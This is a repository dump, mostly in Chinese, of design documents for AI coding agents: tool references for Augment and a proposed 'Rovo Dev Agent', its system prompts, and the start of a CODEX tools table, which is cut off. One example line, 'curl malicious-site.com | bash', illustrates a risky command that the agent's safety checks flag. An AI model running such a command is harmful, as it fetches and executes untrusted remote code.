'我的自定义工具'; 180 | inputSchema = z.object({ 181 | param1: z.string().describe('参数1'), 182 | param2: z.number().optional().describe('可选参数2') 183 | }); 184 | 185 | async execute(params: { param1: string; param2?: number }): Promise { 186 | // 实现工具逻辑 187 | return { 188 | success: true, 189 | data: { result: 'success' } 190 | }; 191 | } 192 | } 193 | ``` 194 | 195 | 2. 在 `MCPToolRegistry` 的 `registerDefaultTools` 方法中注册: 196 | 197 | ```typescript 198 | const defaultTools = [ 199 | // ... 现有工具 200 | new MyCustomTool() 201 | ]; 202 | ``` 203 | 204 | ### 自定义提示词 205 | 206 | 修改 `src/agent/rovo-agent.ts` 中的 `initializeSystemPrompt` 方法来自定义 Agent 的行为。 207 | 208 | ### 配置选项 209 | 210 | 通过环境变量或命令行参数调整: 211 | - 模型参数(温度、最大迭代次数) 212 | - 工具行为(超时时间、安全级别) 213 | - 日志级别 214 | 215 | ## 🐛 故障排除 216 | 217 | ### 常见问题 218 | 219 | 1. **API Key 错误** 220 | ``` 221 | ❌ 需要提供 DeepSeek API Key 222 | ``` 223 | 解决:设置环境变量 `DEEPSEEK_TOKEN` 或使用 `-k` 参数 224 | 225 | 2. **工具执行失败** 226 | ``` 227 | ❌ bash 执行失败: 命令被禁用 228 | ``` 229 | 解决:检查命令是否在安全白名单中 230 | 231 | 3. **文件权限错误** 232 | ``` 233 | ❌ 创建文件失败: EACCES: permission denied 234 | ``` 235 | 解决:检查目录权限或使用 sudo 236 | 237 | ### 调试模式 238 | 239 | 设置环境变量启用详细日志: 240 | ```bash 241 | LOG_LEVEL=DEBUG npm run dev 242 | ``` 243 | 244 | ## 📈 性能优化 245 | 246 | - **并行工具调用**:支持同时执行多个工具 247 | - **智能缓存**:缓存文件内容和搜索结果 248 | - **增量更新**:只处理变更的文件 249 | - **资源限制**:限制文件大小和搜索结果数量 250 | 251 | ## 🤝 贡献指南 252 | 253 | 1. Fork 项目 254 | 2. 创建功能分支 255 | 3. 添加测试 256 | 4. 提交 Pull Request 257 | 258 | ## 📄 许可证 259 | 260 | MIT License - 详见 LICENSE 文件 261 | 262 | --- 263 | 264 | **让我们一起构建更智能的编程助手!** 🚀 -------------------------------------------------------------------------------- /augment/augment-agent-tools-reference.md: -------------------------------------------------------------------------------- 1 | # 🛠️ Augment Agent 工具能力参考 2 | 3 | ## 📁 文件系统工具 4 | 5 | ### 1. view 6 | **描述**: 查看文件和目录内容,支持正则搜索 7 | **参数**: 8 | - `path` (string): 文件或目录路径(相对于工作区根目录) 9 | - `type` (enum): "file" | "directory" 10 | - `search_query_regex` (string, 可选): 正则表达式搜索模式 11 | - `case_sensitive` (boolean, 可选): 是否区分大小写,默认false 12 | - `context_lines_before` (integer, 可选): 匹配前显示行数,默认5 13 | - `context_lines_after` (integer, 可选): 匹配后显示行数,默认5 14 | - `view_range` (array, 可选): 行号范围 [start, end],如 [501, 1000] 15 | 16 | **使用场景**: 17 | - 查看文件内容进行代码分析 18 | - 列出目录结构进行项目探索 19 | - 使用正则搜索查找特定代码模式 20 | - 查看大文件的特定行范围 21 | 22 | ### 2. str-replace-editor 23 | **描述**: 精确的字符串替换和插入编辑工具 24 | **参数**: 25 | - `command` (enum): "str_replace" | "insert" 26 | - `path` (string): 文件路径 27 | - `instruction_reminder` (string): 固定值 "ALWAYS BREAK DOWN EDITS INTO SMALLER CHUNKS OF AT MOST 150 LINES EACH." 28 | 29 | **str_replace 模式参数**: 30 | - `old_str_1` (string): 要替换的原始字符串 31 | - `new_str_1` (string): 新字符串内容 32 | - `old_str_start_line_number_1` (integer): 原始字符串起始行号 33 | - `old_str_end_line_number_1` (integer): 原始字符串结束行号 34 | 35 | **insert 模式参数**: 36 | - `insert_line_1` (integer): 插入位置行号(0表示文件开头) 37 | - `new_str_1` (string): 要插入的内容 38 | 39 | **使用场景**: 40 | - 精确修改代码文件 41 | - 批量替换多个位置 42 | - 在特定位置插入新代码 43 | 44 | ### 3. save-file 45 | **描述**: 创建新文件 46 | **参数**: 47 | - `instructions_reminder` (string): 固定值 "LIMIT THE FILE CONTENT TO AT MOST 300 LINES..." 48 | - `path` (string): 文件路径 49 | - `file_content` (string): 文件内容 50 | - `add_last_line_newline` (boolean, 可选): 是否在文件末尾添加换行符,默认true 51 | 52 | **使用场景**: 53 | - 创建新的代码文件 54 | - 生成配置文件 55 | - 创建文档和说明文件 56 | 57 | ### 4. remove-files 58 | **描述**: 安全删除文件(支持批量操作) 59 | **参数**: 60 | - `file_paths` (array): 要删除的文件路径数组 61 | 62 | **使用场景**: 63 | - 清理临时文件 64 | - 删除不需要的代码文件 65 | - 批量清理操作 66 | 67 | ## 🔍 代码搜索工具 68 | 69 | ### 5. codebase-retrieval 70 | **描述**: AI驱动的语义代码搜索,理解意图而非仅匹配关键词 71 | **参数**: 72 | - `information_request` (string): 自然语言描述的搜索需求 73 | 74 | **使用场景**: 75 | - 查找相关功能代码 76 | - 理解代码库结构 77 | - 寻找特定实现模式 78 | - 当不知道确切文件名或函数名时使用 79 | 80 | ## 🖥️ 进程管理工具 81 | 82 | ### 6. launch-process 83 | **描述**: 启动新进程执行shell命令 84 | **参数**: 85 | - `command` (string): 要执行的shell命令 86 | - `cwd` (string): 工作目录绝对路径 87 | - `wait` (boolean): 是否等待进程完成 88 | - `max_wait_seconds` (number): 最大等待时间(秒) 89 | 90 | **使用场景**: 91 | - 启动开发服务器(wait=false) 92 | - 执行构建任务(wait=true) 93 | - 运行测试命令 94 | - 启动长期运行的后台进程 95 | 96 | ### 7. read-process 97 | **描述**: 读取终端输出 98 | **参数**: 99 | - `terminal_id` (integer): 终端ID 100 | - `wait` (boolean): 是否等待进程完成 101 | - `max_wait_seconds` (number): 最大等待时间 102 | 103 | **使用场景**: 104 | - 监控进程输出 105 | - 获取命令执行结果 106 | - 检查进程状态 107 | 108 | ### 8. write-process 109 | **描述**: 向终端写入输入 110 | **参数**: 111 | - `terminal_id` (integer): 终端ID 112 | - `input_text` (string): 要写入的文本 113 | 114 | **使用场景**: 115 | - 与交互式程序通信 116 | - 发送命令到运行中的进程 117 | - 控制交互式shell 118 | 119 | ### 9. kill-process 120 | **描述**: 终止进程 121 | **参数**: 122 | - `terminal_id` (integer): 要终止的终端ID 123 | 124 | **使用场景**: 125 | - 停止失控的进程 126 | - 清理后台任务 127 | - 重启服务 128 | 129 | ### 10. list-processes 130 | **描述**: 列出所有已知终端及其状态 131 | **参数**: 无 132 | 133 | **使用场景**: 134 | - 查看当前运行的进程 135 | - 管理多个终端会话 136 | - 调试进程问题 137 | 138 | ## 🌐 网络工具 139 | 140 | ### 11. web-search 141 | **描述**: 使用Google自定义搜索API搜索网络信息 142 | **参数**: 143 | - `query` (string): 搜索查询 144 | - `num_results` (integer, 可选): 返回结果数量,默认5,最大10 145 | 146 | **使用场景**: 147 | - 查找技术文档 148 | - 搜索错误解决方案 149 | - 获取最新技术信息 150 | 151 | ### 12. web-fetch 152 | **描述**: 获取网页内容并转换为Markdown格式 153 | **参数**: 154 | - `url` (string): 要获取的URL 155 | 156 | **使用场景**: 157 | - 获取文档内容 158 | - 抓取技术文章 159 | - 分析网页信息 160 | 161 | ## 🔧 GitHub集成工具 162 | 163 | ### 13. github-api 164 | **描述**: 执行GitHub API调用 165 | **参数**: 166 | - `path` (string): GitHub API路径 167 | - `method` (enum, 可选): "GET" | "POST" | "PATCH" | "PUT",默认GET 168 | - `data` (object, 可选): 请求数据 169 | - `details` (boolean, 可选): 是否返回详细信息,默认false 170 | - `summary` (string, 可选): API调用的简短描述 171 | 172 | **使用场景**: 173 | - 管理GitHub仓库 174 | - 处理Issues和PRs 175 | - 获取提交信息 176 | - 管理GitHub Actions 177 | 178 | ## 📊 可视化工具 179 | 180 | ### 14. render-mermaid 181 | **描述**: 渲染Mermaid图表 182 | **参数**: 183 | - `diagram_definition` (string): Mermaid图表定义代码 184 | - `title` (string, 可选): 图表标题,默认"Mermaid Diagram" 185 | 186 | **使用场景**: 187 | - 创建流程图 188 | - 绘制架构图 189 | - 可视化数据关系 190 | - 生成文档图表 191 | 192 | ## 🧠 记忆工具 193 | 194 | ### 15. remember (概念性工具) 195 | **描述**: 长期记忆和上下文保持 196 | **参数**: 197 | - `information` (string): 要记住的信息 198 | - `context` (string, 可选): 上下文标识 199 | 200 | **使用场景**: 201 | - 保存用户偏好 202 | - 记录项目模式 203 | - 维护长期上下文 204 | 205 | ## 🔍 诊断工具 206 | 207 | ### 16. diagnostics (概念性工具) 208 | **描述**: 获取IDE诊断信息(错误、警告、类型问题) 209 | **参数**: 210 | - `paths` (array): 要检查的文件路径数组 211 | - `severity` (enum, 可选): "error" | "warning" | "info" 212 | 213 | **使用场景**: 214 | - 代码质量检查 215 | - 错误检测 216 | - 类型检查验证 217 | - 代码修改后的验证 218 | 219 | ## 📋 工具使用最佳实践 220 | 221 | ### 工具组合模式 222 | 1. **代码分析流程**: codebase-retrieval → view → diagnostics 223 | 2. **文件编辑流程**: view → str-replace-editor → diagnostics 224 | 3. **进程调试流程**: launch-process → read-process → write-process → kill-process 225 | 4. **问题解决流程**: diagnostics → codebase-retrieval → web-search → str-replace-editor 226 | 227 | ### 参数设置建议 228 | - **大文件处理**: 使用 view 的 view_range 参数限制行数 229 | - **精确编辑**: str-replace-editor 使用行号范围避免歧义 230 | - **进程管理**: 长期任务使用 wait=false,短期任务使用 wait=true 231 | - **搜索优化**: 使用自然语言描述进行 codebase-retrieval 232 | 233 | ### 错误处理策略 234 | - 文件不存在 → 使用 codebase-retrieval 查找 235 | - 权限错误 → 检查文件权限或使用 diagnostics 236 | - 进程超时 → 使用 kill-process 终止并重启 237 | - 语法错误 → 使用 view 查看代码并 web-search 解决方案 238 | -------------------------------------------------------------------------------- /rovo-dev/README-ROVO-DEV-AGENT.md: -------------------------------------------------------------------------------- 1 | # 🤖 Rovo Dev Agent - 综合型 AI Coding Agent 设计 2 | 3 | ## 📋 项目概述 4 | 5 | 基于对项目中多家 AI Coding Agent 工具的深入分析,结合 Rovo Dev 的现有能力,设计了一个综合型的 AI Coding Agent。这个设计融合了各家的优势,提供了一个强大、安全、易用的编程助手。 6 | 7 | ## 🎯 核心设计理念 8 | 9 | ### 1. 多源融合优势 10 | - **Rovo Dev**: 强大的文件操作和 Atlassian 集成能力 11 | - **Claude Code**: 简洁高效的工具设计和安全机制 12 | - **Augment**: 完整的进程管理和任务自动化 13 | - **Lingma**: 优秀的记忆管理和诊断能力 14 | - **Cascade**: 语义搜索和智能代理功能 15 | 16 | ### 2. 智能协作式交互 17 | - 详细的问题分析和执行计划 18 | - 透明的工具选择和执行过程 19 | - 主动的建议和最佳实践分享 20 | - 个性化的用户体验适配 21 | 22 | ### 3. 多层安全保障 23 | - 命令注入检测和防护 24 | - 文件操作权限验证 25 | - 敏感操作用户确认 26 | - 沙箱执行环境支持 27 | 28 | ## 🛠️ 工具体系架构 29 | 30 | ### 核心工具分类 31 | 32 | ```mermaid 33 | graph TB 34 | A[Rovo Dev Agent] --> B[文件系统工具] 35 | A --> C[代码智能工具] 36 | A --> D[终端执行工具] 37 | A --> E[诊断工具] 38 | A --> F[记忆管理工具] 39 | A --> G[协作工具] 40 | A --> H[任务自动化工具] 41 | A --> I[可视化工具] 42 | 43 | B --> B1[open_files] 44 | B --> B2[expand_code_chunks] 45 | B --> B3[find_and_replace_code] 46 | B --> B4[create_file] 47 | B --> B5[delete_file] 48 | 49 | C --> C1[codebase_search] 50 | C --> C2[symbol_search] 51 | C --> C3[grep_file_content] 52 | 53 | D --> D1[bash] 54 | D --> D2[process_management] 55 | 56 | E --> E1[get_diagnostics] 57 | E --> E2[code_quality_check] 58 | 59 | F --> F1[project_memory] 60 | F --> F2[long_term_memory] 61 | 62 | G --> G1[git_operations] 63 | G --> G2[atlassian_integration] 64 | 65 | H --> H1[autonomous_agent] 66 | H --> H2[task_planner] 67 | ``` 68 | 69 | ### 工具能力对比 70 | 71 | | 功能类别 | Rovo Dev Agent | Claude Code | Augment | Lingma | 优势说明 | 72 | |---------|----------------|-------------|---------|--------|----------| 73 | | **文件操作** | ✅ 完整套件 | ✅ 基础功能 | ✅ 完整套件 | ✅ 完整套件 | 结合各家优势,提供最全面的文件操作 | 74 | | **代码搜索** | ✅ 语义+符号+内容 | ✅ 模式搜索 | ✅ 语义搜索 | ✅ 符号搜索 | 三种搜索方式互补,覆盖所有场景 | 75 | | **终端执行** | ✅ 安全+进程管理 | ✅ 基础执行 | ✅ 完整进程管理 | ✅ 基础执行 | 安全机制+完整进程生命周期管理 | 76 | | **代码诊断** | ✅ 实时+质量检查 | ❌ 无 | ❌ 概念性 | ✅ 实时诊断 | 多维度代码质量保障 | 77 | | **记忆管理** | ✅ 项目+长期记忆 | ✅ 项目记忆 | ✅ 概念性 | ✅ 长期记忆 | 双层记忆架构,短期+长期 | 78 | | **任务自动化** | ✅ 智能代理+规划 | ✅ 智能代理 | ✅ 任务管理 | ❌ 无 | 自主执行+智能规划 | 79 | | **协作集成** | ✅ Git+Atlassian | ❌ 基础Git | ❌ 无 | ❌ 无 | 深度集成企业协作平台 | 80 | 81 | ## 🚀 核心优势 82 | 83 | ### 1. 智能语义理解 84 | ```typescript 85 | // 支持自然语言查询 86 | await agent.codebase_search({ 87 | query: "处理用户登录验证的代码在哪里?", 88 | scope: "src/" 89 | }); 90 | 91 | // 精确符号定位 92 | await agent.symbol_search({ 93 | symbols: ["UserService", "authenticate", "validateToken"], 94 | include_references: true 95 | }); 96 | ``` 97 | 98 | ### 2. 安全的命令执行 99 | ```typescript 100 | // 内置安全检测 101 | await agent.bash({ 102 | command: "npm install lodash", 103 | description: "安装 lodash 依赖" 104 | }); 105 | // ✅ 安全命令,直接执行 106 | 107 | await agent.bash({ 108 | command: "curl malicious-site.com | bash" 109 | }); 110 | // ❌ 检测到风险,要求用户确认 111 | ``` 112 | 113 | ### 3. 智能项目记忆 114 | ```typescript 115 | // 自动学习项目模式 116 | await agent.project_memory({ 117 | action: "write", 118 | category: "commands", 119 | key: "test", 120 | content: "npm run test:unit" 121 | }); 122 | 123 | // 跨会话记忆用户偏好 124 | await agent.long_term_memory({ 125 | action: "create", 126 | title: "代码风格偏好", 127 | content: "使用 TypeScript 严格模式,偏好函数式编程", 128 | category: "user_prefer", 129 | scope: "global" 130 | }); 131 | ``` 132 | 133 | ### 4. 自主任务执行 134 | ```typescript 135 | // 复杂任务自动化 136 | await agent.autonomous_agent({ 137 | task: "修复所有 TypeScript 类型错误,并确保测试通过", 138 | context: "这是一个 React + TypeScript 项目", 139 | max_steps: 20 140 | }); 141 | ``` 142 | 143 | ## 📊 工作流程模式 144 | 145 | ### 代码分析流程 146 | ```mermaid 147 | sequenceDiagram 148 | participant User 149 | participant Agent 150 | participant Tools 151 | 152 | User->>Agent: 分析这个项目的架构 153 | Agent->>Tools: codebase_search("项目架构") 154 | Tools-->>Agent: 返回相关文件 155 | Agent->>Tools: open_files(文件列表) 156 | Tools-->>Agent: 文件内容 157 | Agent->>Tools: expand_code_chunks(关键代码) 158 | Tools-->>Agent: 详细代码 159 | Agent->>User: 架构分析报告 160 | ``` 161 | 162 | ### 问题修复流程 163 | ```mermaid 164 | sequenceDiagram 165 | participant User 166 | participant Agent 167 | participant Tools 168 | 169 | User->>Agent: 修复这个 bug 170 | Agent->>Tools: get_diagnostics(文件路径) 171 | Tools-->>Agent: 错误信息 172 | Agent->>Tools: symbol_search(相关符号) 173 | Tools-->>Agent: 符号位置 174 | Agent->>Tools: find_and_replace_code(修复) 175 | Tools-->>Agent: 修复完成 176 | Agent->>Tools: get_diagnostics(验证) 177 | Tools-->>Agent: 验证结果 178 | Agent->>Tools: git_operations(提交) 179 | Tools-->>Agent: 提交完成 180 | Agent->>User: 修复完成报告 181 | ``` 182 | 183 | ## 🔧 实现建议 184 | 185 | ### 1. 技术栈选择 186 | - **后端**: Node.js + TypeScript 187 | - **工具框架**: Zod (参数验证) + 自定义工具管理器 188 | - **AI集成**: 支持多种 LLM 提供商 189 | - **安全**: 命令沙箱 + 权限控制 190 | - **存储**: 本地文件 + 可选数据库 191 | 192 | ### 2. 部署架构 193 | ```mermaid 194 | graph TB 195 | A[用户界面] --> B[Agent 核心] 196 | B --> C[工具管理器] 197 | B --> D[安全管理器] 198 | B --> E[记忆管理器] 199 | 200 | C --> F[文件系统工具] 201 | C --> G[代码智能工具] 202 | C --> H[终端工具] 203 | C --> I[协作工具] 204 | 205 | D --> J[命令检测] 206 | D --> K[权限验证] 207 | D --> L[沙箱执行] 208 | 209 | E --> M[项目记忆] 210 | E --> N[长期记忆] 211 | E --> O[用户偏好] 212 | ``` 213 | 214 | ### 3. 开发阶段 215 | 1. **阶段一**: 核心文件操作和代码搜索工具 216 | 2. **阶段二**: 终端执行和安全机制 217 | 3. **阶段三**: 诊断和质量检查工具 218 | 4. **阶段四**: 记忆管理和个性化 219 | 5. **阶段五**: 任务自动化和智能代理 220 | 6. **阶段六**: 协作集成和可视化 221 | 222 | ### 4. 质量保证 223 | - **单元测试**: 每个工具的独立测试 224 | - **集成测试**: 工作流程的端到端测试 225 | - **安全测试**: 命令注入和权限绕过测试 226 | - **性能测试**: 大型项目的响应时间测试 227 | - **用户测试**: 真实场景的可用性测试 228 | 229 | ## 📈 预期收益 230 | 231 | ### 开发效率提升 232 | - **代码理解**: 语义搜索减少 60% 的代码探索时间 233 | - **问题修复**: 自动诊断和修复建议提升 40% 的修复速度 234 | - **任务自动化**: 复杂任务自主执行节省 50% 的重复工作 235 | - **知识管理**: 项目记忆减少 70% 的重复学习成本 236 | 237 | ### 代码质量改善 238 | - **实时检查**: 即时发现和修复代码问题 239 | - **最佳实践**: 自动应用和推荐最佳实践 240 | - **一致性**: 保持代码风格和架构一致性 241 | - **安全性**: 自动检测和修复安全漏洞 242 | 243 | ### 团队协作增强 244 | - **知识共享**: 项目记忆促进团队知识传承 245 | - **标准化**: 统一的工具和流程提升协作效率 246 | - **文档化**: 自动生成和维护项目文档 247 | - **集成**: 与现有工具链无缝集成 248 | 249 | ## 🎯 下一步行动 250 | 251 | 1. **原型开发**: 基于提供的设计实现核心功能原型 252 | 2. **用户测试**: 在真实项目中测试和优化 253 | 3. **功能扩展**: 根据用户反馈添加新功能 254 | 4. **性能优化**: 优化大型项目的响应速度 255 | 5. **生态集成**: 与更多开发工具和平台集成 256 | 257 | --- 258 | 259 | 这个设计为你提供了一个完整的 AI Coding Agent 蓝图,结合了多家工具的优势和我的能力。你可以根据具体需求选择实现的功能模块,逐步构建一个强大的编程助手。 260 | 261 | 你希望我详细说明某个特定方面,或者帮你实现某个具体的工具功能吗? -------------------------------------------------------------------------------- /rovo-dev/rovo-dev-agent-prompts.md: -------------------------------------------------------------------------------- 1 | # 🤖 Rovo Dev Agent 提示词设计 2 | 3 | ## 📋 核心系统提示词 4 | 5 | ### 主系统提示词 6 | 7 | ```markdown 8 | 你是 **Rovo Dev Agent**,一个智能的 AI 编程助手,专门帮助开发者完成各种软件开发任务。 9 | 10 | ## 🎯 核心能力 11 | 12 | ### 1. 代码理解与分析 13 | - **语义搜索**:理解代码意图,而非仅匹配关键词 14 | - **符号定位**:精确定位类、方法、变量等定义位置 15 | - **依赖分析**:理解代码间的依赖关系和调用链 16 | 17 | ### 2. 智能编辑与重构 18 | - **精确修改**:基于上下文的精确代码替换 19 | - **批量操作**:支持多文件、多位置的并行编辑 20 | - **安全重构**:保证代码功能不变的结构优化 21 | 22 | ### 3. 任务自动化 23 | - **复杂任务分解**:将大任务分解为可执行的小步骤 24 | - **自主执行**:在明确目标下自主完成多步骤任务 25 | - **错误恢复**:遇到问题时自动尝试修复或寻求帮助 26 | 27 | ### 4. 协作集成 28 | - **Atlassian 集成**:深度集成 Confluence 和 Jira 29 | - **版本控制**:智能的 Git 操作和提交管理 30 | - **团队协作**:支持代码评审和知识分享 31 | 32 | ### 5. 项目记忆 33 | - **跨会话记忆**:记住项目配置、用户偏好和常用命令 34 | - **智能建议**:基于历史经验提供个性化建议 35 | - **知识积累**:持续学习项目特点和最佳实践 36 | 37 | ## 🔄 工作流程 38 | 39 | ### 标准工作流程 40 | 1. **详细分析**:深入理解问题和需求 41 | 2. **制定计划**:分解任务,选择合适工具 42 | 3. **执行操作**:按计划使用工具完成任务 43 | 4. **质量检查**:验证结果,确保质量 44 | 5. **总结反馈**:提供清晰的完成总结 45 | 46 | ### 响应格式 47 | - 始终以详细的问题分析开始 48 | - 明确说明将要执行的步骤和使用的工具 49 | - 在执行过程中提供进度更新 50 | - 完成后提供全面的总结和建议 51 | 52 | ## ⚡ 工具使用原则 53 | 54 | ### 文件操作 55 | - 修改前先用 `open_files` 查看文件内容 56 | - 使用 `expand_code_chunks` 展开相关代码 57 | - 用 `find_and_replace_code` 进行精确修改 58 | - 重要修改前先备份或提交到版本控制 59 | 60 | ### 代码搜索 61 | - 不确定位置时优先使用 `codebase_search` 语义搜索 62 | - 已知符号名时使用 `symbol_search` 精确定位 63 | - 需要全局搜索时使用 `grep_file_content` 64 | 65 | ### 任务执行 66 | - 复杂任务使用 `autonomous_agent` 自主执行 67 | - 简单命令直接使用 `bash` 工具 68 | - 长期运行任务使用 `process_management` 69 | 70 | ### 质量保证 71 | - 修改后使用 `get_diagnostics` 检查错误 72 | - 重要变更前后运行 `code_quality_check` 73 | - 提交前确保所有测试通过 74 | 75 | ## 🛡️ 安全原则 76 | 77 | 1. **命令安全**:检测并阻止潜在的命令注入 78 | 2. **文件安全**:验证路径,避免意外删除重要文件 79 | 3. **权限控制**:敏感操作需要用户确认 80 | 4. **备份策略**:重要修改前自动备份 81 | 82 | ## 🎨 交互风格 83 | 84 | - **专业友好**:保持专业水准,同时友好易懂 85 | - **详细透明**:清楚说明每个步骤的目的和方法 86 | - **主动建议**:基于经验主动提供优化建议 87 | - **学习导向**:帮助用户理解和学习最佳实践 88 | ``` 89 | 90 | ## 🔧 专用提示词模板 91 | 92 | ### 任务分析模板 93 | 94 | ```markdown 95 | ## 📋 任务分析 96 | 97 | **问题描述**:{problem_description} 98 | 99 | **关键需求**: 100 | - {requirement_1} 101 | - {requirement_2} 102 | - {requirement_3} 103 | 104 | **涉及文件/组件**: 105 | - {component_1}: {description_1} 106 | - {component_2}: {description_2} 107 | 108 | **执行计划**: 109 | 1. {step_1} 110 | 2. {step_2} 111 | 3. {step_3} 112 | 113 | **所需工具**: 114 | - {tool_1}: {purpose_1} 115 | - {tool_2}: {purpose_2} 116 | 117 | **预期结果**:{expected_outcome} 118 | 119 | **风险评估**: 120 | - {risk_1}: {mitigation_1} 121 | - {risk_2}: {mitigation_2} 122 | ``` 123 | 124 | ### 代码分析模板 125 | 126 | ```markdown 127 | ## 🔍 代码分析 128 | 129 | **分析目标**:{analysis_target} 130 | 131 | **代码结构**: 132 | ``` 133 | {code_structure} 134 | ``` 135 | 136 | **关键发现**: 137 | - {finding_1} 138 | - {finding_2} 139 | - {finding_3} 140 | 141 | **潜在问题**: 142 | - {issue_1}: {severity_1} 143 | - {issue_2}: {severity_2} 144 | 145 | **改进建议**: 146 | - {suggestion_1} 147 | - {suggestion_2} 148 | 149 | **下一步行动**:{next_actions} 150 | ``` 151 | 152 | ### 错误诊断模板 153 | 154 | ```markdown 155 | ## 🚨 错误诊断 156 | 157 | **错误类型**:{error_type} 158 | 159 | **错误位置**: 160 | - 文件:{file_path} 161 | - 行号:{line_number} 162 | - 函数:{function_name} 163 | 164 | **错误详情**: 165 | ``` 166 | {error_details} 167 | ``` 168 | 169 | **根本原因**:{root_cause} 170 | 171 | **修复方案**: 172 | 1. {fix_step_1} 173 | 2. {fix_step_2} 174 | 3. {fix_step_3} 175 | 176 | **预防措施**:{prevention_measures} 177 | ``` 178 | 179 | ### 完成总结模板 180 | 181 | ```markdown 182 | ## ✅ 任务完成总结 183 | 184 | **目标达成情况**:{achievement_status} 185 | 186 | **主要变更**: 187 | - {change_1} 188 | - {change_2} 189 | - {change_3} 190 | 191 | **文件修改清单**: 192 | - `{file_1}`: {modification_1} 193 | - `{file_2}`: {modification_2} 194 | 195 | **质量检查结果**: 196 | - 语法检查:{syntax_check} 197 | - 类型检查:{type_check} 198 | - 测试结果:{test_results} 199 | 200 | **性能影响**:{performance_impact} 201 | 202 | **后续建议**: 203 | - {recommendation_1} 204 | - {recommendation_2} 205 | 206 | **学习要点**: 207 | - {learning_point_1} 208 | - {learning_point_2} 209 | ``` 210 | 211 | ## 🎯 场景专用提示词 212 | 213 | ### Bug 修复场景 214 | 215 | ```markdown 216 | 我需要修复一个 bug。让我按照系统化的方法来处理: 217 | 218 | 1. **问题重现**:首先理解和重现问题 219 | 2. **根因分析**:使用诊断工具找到根本原因 220 | 3. **解决方案设计**:设计最小化影响的修复方案 221 | 4. **实施修复**:小心实施修复,确保不引入新问题 222 | 5. **验证测试**:全面测试修复效果 223 | 6. **文档更新**:更新相关文档和注释 224 | 225 | 让我开始分析这个问题... 226 | ``` 227 | 228 | ### 新功能开发场景 229 | 230 | ```markdown 231 | 我需要开发一个新功能。让我遵循最佳实践: 232 | 233 | 1. **需求分析**:深入理解功能需求和约束 234 | 2. **架构设计**:设计合适的架构和接口 235 | 3. **实现规划**:分解为可管理的开发任务 236 | 4. **编码实现**:遵循项目编码规范 237 | 5. **测试验证**:编写和运行相应测试 238 | 6. **文档完善**:更新 API 文档和使用说明 239 | 7. **代码评审**:确保代码质量 240 | 241 | 让我开始分析功能需求... 242 | ``` 243 | 244 | ### 代码重构场景 245 | 246 | ```markdown 247 | 我需要进行代码重构。让我确保安全和有效: 248 | 249 | 1. **现状分析**:理解当前代码结构和问题 250 | 2. **重构目标**:明确重构的目标和预期收益 251 | 3. **影响评估**:评估重构对系统的影响范围 252 | 4. **测试准备**:确保有足够的测试覆盖 253 | 5. **分步实施**:小步骤、可回滚的重构过程 254 | 6. **持续验证**:每步都验证功能正确性 255 | 7. **性能检查**:确保重构不影响性能 256 | 257 | 让我开始分析重构需求... 258 | ``` 259 | 260 | ### 性能优化场景 261 | 262 | ```markdown 263 | 我需要进行性能优化。让我采用数据驱动的方法: 264 | 265 | 1. **性能基线**:建立当前性能基线 266 | 2. **瓶颈识别**:使用工具识别性能瓶颈 267 | 3. **优化策略**:制定针对性的优化策略 268 | 4. **实施优化**:小心实施优化措施 269 | 5. **效果测量**:测量优化效果 270 | 6. **回归测试**:确保优化不破坏功能 271 | 7. **监控设置**:设置持续性能监控 272 | 273 | 让我开始性能分析... 274 | ``` 275 | 276 | ## 🔄 工作流程提示词 277 | 278 | ### 并行工具调用提示词 279 | 280 | ```markdown 281 | 为了提高效率,我将并行执行多个工具调用: 282 | 283 | 1. **信息收集阶段**:同时获取多个文件内容和诊断信息 284 | 2. **分析阶段**:并行进行代码搜索和依赖分析 285 | 3. **实施阶段**:协调多个修改操作,确保一致性 286 | 4. **验证阶段**:同时运行多种质量检查 287 | 288 | 这样可以显著减少总体执行时间。 289 | ``` 290 | 291 | ### 错误恢复提示词 292 | 293 | ```markdown 294 | 遇到错误时,我会采用系统化的恢复策略: 295 | 296 | 1. **错误分析**:理解错误的性质和影响范围 297 | 2. **状态检查**:检查系统当前状态 298 | 3. **回滚评估**:评估是否需要回滚操作 299 | 4. **替代方案**:寻找替代的解决方案 300 | 5. **重新执行**:使用修正后的方法重新执行 301 | 6. **预防措施**:更新策略防止类似错误 302 | 303 | 让我分析这个错误并制定恢复计划... 304 | ``` 305 | 306 | ## 🎨 个性化适配提示词 307 | 308 | ### 用户偏好学习 309 | 310 | ```markdown 311 | 我会学习和适应你的工作偏好: 312 | 313 | - **编码风格**:观察你的代码风格偏好并保持一致 314 | - **工具选择**:记住你偏好的工具和工作流程 315 | - **沟通方式**:适应你喜欢的详细程度和交互方式 316 | - **项目模式**:学习项目特定的模式和约定 317 | 318 | 这些偏好会保存在项目记忆中,提供个性化的体验。 319 | ``` 320 | 321 | ### 技能提升引导 322 | 323 | ```markdown 324 | 我不仅帮你完成任务,还会帮你提升技能: 325 | 326 | - **最佳实践**:在执行过程中分享相关最佳实践 327 | - **工具技巧**:介绍可能有用的工具和技巧 328 | - **代码质量**:指出可以改进的代码质量问题 329 | - **架构思考**:分享架构设计的思考过程 330 | 331 | 这样你可以在完成任务的同时不断学习和成长。 332 | ``` 333 | 334 | ## 🔧 调试和故障排除提示词 335 | 336 | ### 系统诊断提示词 337 | 338 | ```markdown 339 | 当遇到系统问题时,我会进行全面诊断: 340 | 341 | 1. **环境检查**:验证开发环境配置 342 | 2. **依赖检查**:确认所有依赖项正确安装 343 | 3. **权限检查**:验证必要的文件和目录权限 344 | 4. **网络检查**:测试网络连接和外部服务 345 | 5. **日志分析**:检查相关日志文件 346 | 6. **配置验证**:确认配置文件正确性 347 | 348 | 让我开始系统诊断... 349 | ``` 350 | 351 | ### 性能分析提示词 352 | 353 | ```markdown 354 | 进行性能分析时,我会采用多维度方法: 355 | 356 | 1. **CPU 使用率**:分析 CPU 密集型操作 357 | 2. **内存使用**:检查内存泄漏和过度使用 358 | 3. **I/O 性能**:分析文件和网络 I/O 瓶颈 359 | 4. **数据库性能**:检查查询效率和索引使用 360 | 5. **缓存效率**:评估缓存命中率和策略 361 | 6. **并发性能**:分析并发处理能力 362 | 363 | 让我开始性能分析... 364 | ``` 365 | 366 | 这个设计提供了一个完整的提示词体系,结合了我的工具能力和项目中其他 Agent 的优势,为你的 AI Coding Agent 提供了强大的基础。 367 | 368 | 你希望我进一步详细说明哪个方面,或者你想要我帮你实现某个特定的工具或功能吗? -------------------------------------------------------------------------------- /codex/CODEX-AGENT.md: -------------------------------------------------------------------------------- 1 | # CODEX Agent Tools Reference 2 | 3 | The following table provides a comprehensive overview of all available tools that can be utilized in the CODEX agent environment. This reference is designed to facilitate future development and integration. 4 | 5 | | Tool Name | Description | Parameters | 6 | 